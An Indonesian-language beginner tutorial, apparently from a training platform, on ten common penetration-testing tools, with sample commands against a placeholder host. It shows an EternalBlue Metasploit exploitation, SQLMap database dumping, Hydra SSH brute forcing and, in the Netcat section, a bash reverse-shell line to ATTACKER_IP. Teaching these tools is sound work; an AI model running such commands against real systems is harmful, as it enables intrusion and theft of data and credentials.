Banyak pemula yang baru masuk ke dunia cybersecurity langsung bingung: “Tools apa yang harus gua pelajarin dulu?” Wajar — tools-nya ratusan, dan setiap orang di internet recommend tools yang beda-beda.
Di artikel ini, gua rangkum 10 tools yang BENERAN wajib buat pemula. Bukan tools fancy yang cuma dipake sekali-sekali, tapi tools yang bakal lu pake hampir di setiap engagement, setiap lab, setiap CTF. Urutan dari yang paling fundamental.
1. Nmap — Scanner Jaringan #1
Fungsi: Scan network buat nemuin host yang aktif, port yang terbuka, dan service yang jalan di target.
Nmap itu tools PERTAMA yang lu jalanin di hampir setiap pentest. Sebelum lu bisa exploit apapun, lu harus tau dulu target lu punya apa — port apa yang terbuka, service apa yang jalan, versi berapa. Itu semua kerjaan Nmap.
root@linuxenic:~$ nmap -sV -sC target.lnx
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9
80/tcp open http Apache 2.4.52
443/tcp open https Apache 2.4.52
3306/tcp open mysql MySQL 8.0.32Dari output ini aja lu udah tau: ada web server di port 80/443, SSH di port 22, dan MySQL di port 3306. Sekarang lu bisa plan serangan lu.
Flag yang harus lu hapal:
-sV— detect versi service-sC— jalanin default scripts-p-— scan semua 65535 port-A— aggressive scan (OS detection + scripts + traceroute)-oN output.txt— save hasil ke file
2. Burp Suite — Senjata Utama Web Hacking
Fungsi: Intercept, analisis, dan manipulasi HTTP request antara browser lu dan target web.
Kalo Nmap buat network, Burp Suite buat web. Ini tools yang lu pake buat:
- Intercept request login dan manipulasi parameter
- Test SQL injection, XSS, SSRF manual
- Brute force login form
- Analisis response dari server
- Crawl website buat nemuin hidden endpoint
Burp Suite Community Edition gratis. Versi Pro berbayar tapi buat belajar, Community udah lebih dari cukup.
Workflow dasar:
Browser ---> Burp Proxy ---> Target Web
|
v
Intercept request
Manipulasi parameter
Forward ke target
Analisis response3. Metasploit — Framework Exploitation
Fungsi: Exploit known vulnerability di target, buat dapetin akses (shell) ke sistem.
Metasploit itu kayak Swiss Army knife-nya hacker. Di dalamnya ada ribuan exploit buat berbagai vulnerability, payload buat maintain akses, dan tools buat post-exploitation.
root@linuxenic:~$ msfconsole
msf6 > search eternalblue
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set RHOSTS target.lnx
msf6 > exploit
[*] Sending stage...
[*] Meterpreter session 1 opened
meterpreter > whoami
NT AUTHORITY\SYSTEMLu nemuin Windows server yang vulnerable ke EternalBlue dari Nmap scan → lu buka Metasploit → pilih exploit → set target → run → dapet SYSTEM shell. Dari nol sampe full access dalam hitungan menit.
Kapan pake Metasploit:
- Exploit known CVE
- Generate payload (reverse shell, meterpreter)
- Post-exploitation (hashdump, keylogger, pivot)
4. SQLMap — Automasi SQL Injection
Fungsi: Detect dan exploit SQL injection secara otomatis, dari detection sampe data extraction.
Lu nemuin form login atau parameter URL yang mungkin vulnerable? Lempar ke SQLMap, dia bakal test semua jenis SQL injection (error-based, union, blind, time-based) dan kalo vulnerable, dia bisa extract seluruh database.
root@linuxenic:~$ sqlmap -u "http://target.lnx/search?q=test" --dbs
[+] parameter 'q' is vulnerable
[+] available databases:
[*] information_schema
[*] webapp_db
[*] admin_secretsFlag penting:
--dbs— list semua database-D nama_db --tables— list tabel di database tertentu-D nama_db -T nama_tabel --dump— dump semua data dari tabel--forms— auto detect form di halaman--batch— auto answer semua prompt (buat automasi)
Tapi inget — pelajari manual SQL injection dulu sebelum rely ke SQLMap. Lu harus ngerti apa yang tools ini lakuin di belakang layar.
5. Gobuster / ffuf — Directory & Subdomain Brute Force
Fungsi: Nemuin hidden directory, file, dan subdomain yang ga keliatan di website.
Website biasanya punya banyak hal yang ga di-link dari halaman utama — admin panel, backup files, API endpoint, upload directory. Gobuster dan ffuf brute force path-path ini pake wordlist.
root@linuxenic:~$ gobuster dir -u http://target.lnx -w /usr/share/wordlists/dirb/common.txt
/admin (Status: 302)
/backup (Status: 200)
/api (Status: 200)
/uploads (Status: 403)
/.git (Status: 200)Nemuin /backup atau /.git yang publicly accessible? Itu bisa berisi source code, credentials, atau data sensitif. Satu tools, banyak temuan.
Gobuster vs ffuf: Dua-duanya fungsinya mirip. ffuf lebih flexible dan lebih cepet, Gobuster lebih simpel. Pelajarin salah satu dulu, nanti coba yang satunya.
6. Wireshark — Packet Analyzer
Fungsi: Capture dan analisis traffic jaringan secara detail, packet by packet.
Wireshark itu “microscope” buat network. Lu bisa liat SEMUA yang lewat di jaringan — HTTP request, DNS query, FTP login, sampe password yang dikirim tanpa enkripsi.
Kapan pake Wireshark:
- Analisis traffic buat nemuin suspicious activity
- Capture credentials yang lewat tanpa enkripsi
- Debug network issues
- Forensics — analisis PCAP file dari insiden
- CTF challenges yang kasih file .pcap
Wireshark lebih ke defensive/analysis tool, tapi pentester juga butuh buat analisis traffic setelah dapet akses ke network.
7. Hydra — Password Brute Forcer
Fungsi: Brute force login di berbagai service — SSH, FTP, HTTP, RDP, MySQL, dan lainnya.
Nemuin SSH port terbuka dari Nmap scan? Coba brute force pake Hydra:
root@linuxenic:~$ hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target.lnx
[22][ssh] host: target.lnx login: admin password: password123Kalo password-nya lemah dan ada di wordlist, Hydra bakal nemuin. Ini juga alasan kenapa password yang kuat itu penting — tools kayak Hydra bisa coba ribuan password per detik.
Service yang bisa di-brute force:
- SSH, FTP, Telnet
- HTTP form login
- RDP (Remote Desktop)
- MySQL, PostgreSQL
- SMB, VNC
8. John the Ripper / Hashcat — Password Cracker
Fungsi: Crack password hash yang lu dapet dari database dump, file /etc/shadow, atau SAM file.
Beda sama Hydra yang brute force login secara online, John dan Hashcat crack hash secara offline. Lu dapet hash dari target → lu crack di mesin lu sendiri.
root@linuxenic:~$ john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
admin:password123
user1:qwerty
manager:letmeinJohn vs Hashcat: John lebih gampang dipake dan auto-detect hash type. Hashcat lebih cepet (support GPU) dan lebih banyak fitur. Buat pemula, mulai dari John.
9. Netcat (nc) — Swiss Army Knife Networking
Fungsi: Bikin koneksi TCP/UDP, transfer file, bikin listener buat reverse shell.
Netcat itu tools kecil tapi powerful banget. Lu bisa pake buat:
- Bikin reverse shell listener
- Transfer file antar mesin
- Port scanning sederhana
- Banner grabbing
Reverse Shell Setup:
====================
Mesin lu (listener):
root@linuxenic:~$ nc -lvnp 4444
Target (kirim shell ke lu):
target$ bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
Hasil: lu dapet shell dari target di terminal luHampir setiap pentest dan CTF pake Netcat buat dapetin reverse shell. Simple tapi essential.
10. Dirb / Nikto — Web Scanner
Fungsi: Automated scanning buat nemuin vulnerability dan misconfiguration di web server.
Nikto scan web server buat nemuin:
- Outdated software versions
- Default files dan directories
- Misconfiguration
- Known vulnerabilities
Dirb mirip Gobuster tapi lebih simpel dan dateng pre-installed di Kali Linux.
Ini tools buat “quick wins” — lu jalanin, dia otomatis scan, dan kasih tau apa aja yang menarik buat di-investigate lebih lanjut.
Cheat Sheet: Kapan Pake Tools Apa
| Situasi | Tools |
|---|---|
| Baru mulai, mau tau target punya apa | Nmap |
| Mau test web app | Burp Suite |
| Nemuin form yang mungkin vulnerable SQLi | SQLMap |
| Mau nyari hidden directory/file | Gobuster / ffuf |
| Mau exploit known vulnerability | Metasploit |
| Mau brute force login | Hydra |
| Dapet password hash, mau crack | John the Ripper |
| Mau bikin reverse shell | Netcat |
| Mau analisis traffic network | Wireshark |
| Quick scan web server | Nikto |
Cara Belajar Tools Ini
Baca dokumentasi itu penting, tapi yang paling efektif tetep langsung praktek. Di LINUXENIC, semua tools di atas bisa lu jalanin langsung di lab:
- Cyber Security 101 — Nmap basics, Burp Suite basics, Metasploit intro, Hydra, Gobuster
- Junior Penetration Tester — Nmap advanced, Burp Suite deep dive, web hacking pake semua tools di atas
- SOC Level 1 — Wireshark, Snort, traffic analysis (buat yang lebih ke defensive)
Lu ga perlu install Kali Linux atau setup VM. Semua tools udah ada di HackerBox — tinggal start, buka terminal, dan jalanin. Cek roadmap lengkapnya di sini.
